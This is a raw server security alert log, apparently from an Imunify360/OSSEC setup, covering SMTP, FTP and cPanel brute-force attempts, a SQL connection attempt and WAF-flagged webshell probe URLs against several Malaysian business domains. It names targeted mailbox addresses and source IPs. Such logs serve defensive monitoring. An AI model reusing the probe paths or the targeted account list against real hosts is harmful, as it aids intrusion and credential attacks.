2026-01-30 20:02:08 dovecot_login authenticator failed for H=(HaomRPK) [178.16.54.138]:57564: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.94.115.164
country_id: 1814991
description:
2026-01-30 20:02:17 dovecot_login authenticator failed for H=([218.94.115.164]) [218.94.115.164]:42300: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.214.78
country_id: 1269750
description:
2026-01-30 20:02:19 dovecot_login authenticator failed for H=([125.20.249.39]) [128.185.214.78]:43584: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.56.40.171
country_id: 1269750
domain: nobledec.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:14646.nobledec.com||ServerName:nobledec.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f70930cc7367d75c0f699c63db787d694dac1abe||Title:0x838bd53c||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-01-30 20:02:31 dovecot_login authenticator failed for H=([128.185.253.122]) [128.185.253.122]:34076: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:03:09 dovecot_login authenticator failed for H=(PPTx3w) [178.16.54.138]:60075: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:03:13 dovecot_login authenticator failed for H=(SDQUur6VsX) [178.16.54.138]:65226: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.57.170.15
country_id: 3175395
description:
2026-01-30 20:03:07 dovecot_plain authenticator failed for H=([100.64.100.6]) [2.57.170.15]:5311: 535 Incorrect authentication data (set_id=chew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.29.241
country_id: 1835841
description:
2026-01-30 20:03:17 dovecot_login authenticator failed for H=([112.160.29.241]) [112.160.29.241]:50873: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.115.252.62
country_id: 1210997
description:
2026-01-30 20:03:32 dovecot_login authenticator failed for H=([103.115.252.60]) [103.115.252.62]:35742: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:04:05 dovecot_login authenticator failed for H=(qsdReozy) [178.16.54.138]:59982: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 20:04:15 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.64.206
country_id: 1269750
description:
2026-01-30 20:04:30 dovecot_login authenticator failed for H=(nsg-corporate-113.254.185.122.airtel.in) [122.186.64.206]:36834: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-30 20:04:41 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:39358: 535 Incorrect authentication data (set_id=hafizi@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.226.118
country_id: 1269750
description:
2026-01-30 20:04:48 dovecot_login authenticator failed for H=([125.18.154.73]) [182.95.226.118]:51832: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.174.142.122
country_id: 6252001
description:
2026-01-30 20:05:30 dovecot_login authenticator failed for H=(qagi) [107.174.142.122]:55018: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.253.99.182
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=435053 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:05:03 dovecot_login authenticator failed for H=(ldVEzk6b) [178.16.54.138]:57534: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-30 20:05:04 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:44884: 535 Incorrect authentication data (set_id=hafizi)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 156.245.205.68
country_id: 1819730
description:
Jan 30 20:06:37 sv3 pure-ftpd[3388435]: (?@156.245.205.68) [WARNING] Authentication failed for user [langkawitravels]


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 156.245.205.68
country_id: 1819730
description:
Jan 30 20:06:32 sv3 pure-ftpd[3388435]: (?@156.245.205.68) [INFO] New connection from 156.245.205.68


plugin: ossec
rule: 11321
name: Active Response. FTP brute force attack (Port 21 is protected)
abuser: 156.245.205.68
country_id: 1819730
description:
Jan 30 20:06:59 sv3 pure-ftpd[3388750]: (?@156.245.205.68) [WARNING] Authentication failed for user [test]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:06:31 dovecot_login authenticator failed for H=(3mHo9njB) [178.16.54.138]:64920: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:06:55 dovecot_login authenticator failed for H=(MJ64KeDKS) [178.16.54.138]:53731: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:07:08 dovecot_login authenticator failed for H=(ztqe5Ba) [178.16.54.138]:65285: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 11331
name: Stealth FTP brute force attack
abuser: 156.245.205.68
country_id: 1819730
description:
Jan 30 20:07:15 sv3 pure-ftpd[3388863]: (?@156.245.205.68) [WARNING] Authentication failed for user [langkawitravels]


plugin: ossec
rule: 11307
name: Multiple connection attempts from same source
abuser: 156.245.205.68
country_id: 1819730
description:
Jan 30 20:07:03 sv3 pure-ftpd[3388815]: (?@156.245.205.68) [INFO] New connection from 156.245.205.68


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 156.245.205.68
country_id: 1819730
description:
Jan 30 20:07:09 sv3 pure-ftpd[3388863]: (?@156.245.205.68) [INFO] New connection from 156.245.205.68


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.59.11.85
country_id: 1668284
description:
2026-01-30 20:07:37 dovecot_login authenticator failed for H=116-59-11-85.emome-ip.hinet.net [116.59.11.85]:44920: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.161.245.78
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=881760 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.231
country_id: 1269750
description:
2026-01-30 20:07:59 dovecot_login authenticator failed for H=(nsg-corporate-231.228.187.122.airtel.in) [122.187.228.231]:46241: 535 Incorrect authentication data


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 156.245.205.68
country_id: 1819730
description:
Jan 30 20:07:03 sv3 pure-ftpd[3388769]: (?@156.245.205.68) [WARNING] Authentication failed for user [ftp]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.137.66.82
country_id: 1835841
description:
2026-01-30 20:07:47 dovecot_login authenticator failed for H=([125.137.66.82]) [125.137.66.82]:1635: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.129.225.4
country_id: 1269750
description:
2026-01-30 20:08:35 dovecot_login authenticator failed for H=([203.129.225.4]) [203.129.225.4]:32848: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:08:08 dovecot_login authenticator failed for H=(5iXjTA9) [178.16.54.138]:65393: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.71.30.21
country_id: 1562822
description:
2026-01-30 20:08:08 dovecot_login authenticator failed for H=([27.71.30.21]) [27.71.30.21]:12014: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.208.46.130
country_id: 1522867
description:
2026-01-30 20:08:25 dovecot_login authenticator failed for H=([37.208.46.130]) [37.208.46.130]:38767: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.170.100.253
country_id: 1269750
description:
2026-01-30 20:08:42 dovecot_login authenticator failed for H=(abts-mum-static-253.100.170.122.airtelbroadband.in) [122.170.100.253]:37195: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.25.186.130
country_id: 6252001
description:
2026-01-30 20:08:55 dovecot_login authenticator failed for H=(173-25-186-130.client.mchsi.com) [173.25.186.130]:53523: 535 Incorrect authentication data (set_id=fadilah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.2.182
country_id: 1668284
description:
2026-01-30 20:08:00 dovecot_login authenticator failed for H=([101.13.2.182]) [101.13.2.182]:53696: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:09:26 dovecot_login authenticator failed for H=(dbdJ7f) [178.16.54.138]:56593: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.234.21.115
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/press-details.php?id=578354 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.22.149.67
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=40431514882203 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.183
country_id: 1269750
description:
2026-01-30 20:09:12 dovecot_login authenticator failed for H=(nsg-corporate-183.230.187.122.airtel.in) [122.187.230.183]:42816: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-30 20:09:20 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:17929: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.212.74
country_id: 1835841
description:
2026-01-30 20:10:04 dovecot_login authenticator failed for H=([183.98.212.74]) [183.98.212.74]:51028: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:10:25 dovecot_login authenticator failed for H=(KC7at7f6PW) [178.16.54.138]:64459: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:10:26 dovecot_login authenticator failed for H=(2ynKVuvC) [178.16.54.138]:60552: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/radiation.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.234.232.184
country_id: 1814991
description:
2026-01-30 20:10:46 dovecot_login authenticator failed for H=([120.234.232.184]) [120.234.232.184]:50202: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.142
country_id: 1269750
description:
2026-01-30 20:10:54 dovecot_login authenticator failed for H=([182.79.202.89]) [182.95.230.142]:46388: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.75.254.157
country_id: 3017382
description:
[2026-01-30 20:10:17 +0800] info [cpaneld] 51.75.254.157 - plomalit "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user plomalit (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.56.10
country_id: 1668284
description:
2026-01-30 20:10:19 dovecot_login authenticator failed for H=221-120-56-10.emome-ip.hinet.net [221.120.56.10]:48556: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.170
country_id: 1269750
description:
2026-01-30 20:10:29 dovecot_login authenticator failed for H=([182.95.185.170]) [182.95.185.170]:34782: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.210.73.33
country_id: 3469034
description:
2026-01-30 20:10:13 dovecot_login authenticator failed for H=(189-108-224-67.customer.tdatabrasil.net.br) [191.210.73.33]:57322: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:11:13 dovecot_login authenticator failed for H=(YE7E580R) [178.16.54.138]:49665: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.74.128.55
country_id: 1643084
description:
2026-01-30 20:11:18 dovecot_plain authenticator failed for H=(738K4S3IJ) [36.74.128.55]:50297: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 20:11:31 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:12:05 dovecot_login authenticator failed for H=(3TeM8H8ns) [178.16.54.138]:51787: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.192.123.125
country_id: 1668284
description:
2026-01-30 20:12:34 dovecot_login authenticator failed for H=123-192-123-125.dynamic.kbronet.com.tw [123.192.123.125]:54098: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.32.163.238
country_id: 953987
description:
2026-01-30 20:12:55 dovecot_login authenticator failed for H=([102.32.163.238]) [102.32.163.238]:39215: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.59.178.26
country_id: 298795
description:
2026-01-30 20:13:00 dovecot_login authenticator failed for H=([188.59.178.26]) [188.59.178.26]:47219: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.123.109.43
country_id: 732800
description:
2026-01-30 20:13:05 dovecot_login authenticator failed for H=(ADMIN) [93.123.109.43]:33856: 535 Incorrect authentication data (set_id=sales@kimmark.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.2.194.57
country_id: 2963597
description:
2026-01-30 20:13:07 dovecot_login authenticator failed for H=(ADMIN) [155.2.194.57]:16918: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.51.118.189
country_id: 3469034
description:
2026-01-30 20:13:12 dovecot_login authenticator failed for H=(189-51-118-65.rapeedo.net.br) [189.51.118.189]:45315: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:13:15 dovecot_login authenticator failed for H=(E99kdBE) [178.16.54.138]:53264: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.54
country_id: 1149361
description:
2026-01-30 20:14:45 dovecot_login authenticator failed for H=([149.54.62.54]) [149.54.62.54]:55561: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.30.212.99
country_id: 298795
description:
2026-01-30 20:14:43 dovecot_login authenticator failed for H=([176.30.212.99]) [176.30.212.99]:51444: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.205.250.78
country_id: 290557
description:
2026-01-30 20:14:57 dovecot_login authenticator failed for H=([94.205.250.78]) [94.205.250.78]:61451: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.166.105.133
country_id: 1814991
description:
2026-01-30 20:14:50 dovecot_login authenticator failed for H=([223.166.105.133]) [223.166.105.133]:53968: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.248.122
country_id: 1269750
description:
2026-01-30 20:14:56 dovecot_login authenticator failed for H=(nsg-corporate-122.248.185.122.airtel.in) [122.185.248.122]:48994: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:14:09 dovecot_login authenticator failed for H=(XlIBoXIYLq) [178.16.54.138]:49703: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:15:22 dovecot_login authenticator failed for H=(GWq4JPf4) [178.16.54.138]:53853: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.220.147
country_id: 3144096
description:
2026-01-30 20:15:03 dovecot_login authenticator failed for H=(cm-178.232.220.147.get.no) [178.232.220.147]:51046: 535 Incorrect authentication data (set_id=zainuddin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:16:19 dovecot_login authenticator failed for H=(sLPcomB) [178.16.54.138]:51907: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.173.177.133
country_id: 6252001
description:
2026-01-30 20:16:56 dovecot_login authenticator failed for H=(xrtd) [107.173.177.133]:50086: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.90.7.40
country_id: 3469034
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/mpro.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.165
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/DisableClick.js HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.223
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/mckd.css HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:17:31 dovecot_login authenticator failed for H=(WYDSQd) [178.16.54.138]:52030: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/eco.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.236
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/stm31.js HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-30 20:18:12 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:50263: 535 Incorrect authentication data (set_id=rajanazrul@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.234.5.66
country_id: 2017370
description:
2026-01-30 20:18:53 dovecot_login authenticator failed for H=([213.234.5.66]) [213.234.5.66]:39556: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:18:06 dovecot_login authenticator failed for H=(Egb3o2uFl) [178.16.54.138]:53359: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.158
country_id: 1269750
description:
2026-01-30 20:19:03 dovecot_login authenticator failed for H=([152.52.238.138]) [59.145.160.158]:38968: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.177.175.182
country_id: 357994
description:
2026-01-30 20:19:29 dovecot_login authenticator failed for H=([41.65.118.172]) [154.177.175.182]:52476: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.158
country_id: 2750405
description:
2026-01-30 20:19:52 1041588 [Warning] Aborted connection 1041588 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.158' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.192.79.179
country_id: 3865483
description:
2026-01-30 20:19:06 dovecot_login authenticator failed for H=(pppoe-179.79.192.181.in-addr.arpa) [181.192.79.179]:40996: 535 Incorrect authentication data (set_id=rajanazrul)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:19:10 dovecot_login authenticator failed for H=(71P7OTqZ3) [178.16.54.138]:51146: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:19:36 dovecot_login authenticator failed for H=(xT2rKnb7) [178.16.54.138]:62399: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.52.9.162
country_id: 1814991
description:
2026-01-30 20:19:57 dovecot_login authenticator failed for H=([116.52.9.162]) [116.52.9.162]:46379: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.243
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/flaticon.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.178
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.3.9 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.233
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/type-writter.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 156.239.200.204
country_id: 6252001
domain: agpc.org.my
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.71||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.209
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/bootstrap.min.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 139.135.241.61
country_id: 1694008
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/portfolios/mutiara-central/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.228
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/owl.carousel.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:20:15 dovecot_login authenticator failed for H=(Ycpg0g8rSU) [178.16.54.138]:57916: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.180
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment-child/style.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
